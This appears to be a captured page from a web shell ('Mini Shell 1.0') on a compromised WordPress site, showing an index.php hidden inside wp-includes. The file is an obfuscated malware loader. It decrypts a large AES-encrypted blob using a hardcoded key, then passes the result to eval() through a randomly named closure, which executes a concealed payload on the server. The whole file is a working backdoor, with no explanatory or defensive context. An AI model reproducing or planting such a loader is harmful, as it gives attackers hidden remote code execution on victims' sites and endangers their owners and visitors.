HOME


Mini Shell 1.0
DIR: /home/dhnidqcz/pragmaticsng.org/wp-includes/html-api/503516/patterns/
Upload File :
Current File : /home/dhnidqcz/pragmaticsng.org/wp-includes/html-api/503516/patterns/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('Gvfj184CfiguSPaq29XB2C11iAGBfrFU');
$str = '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';
$decrypted = $secure->decrypt($str);
$VCchgawpLb = function($AtggDWDyub9){
/*sbpWip2jE*/eVaL($AtggDWDyub9);
$D4eHPSpo9g5 = "TbyOkr6ajuZvOaBy1ULviia0j4SZo135";
return $D4eHPSpo9g5;
};
$VCchgawpLb($decrypted);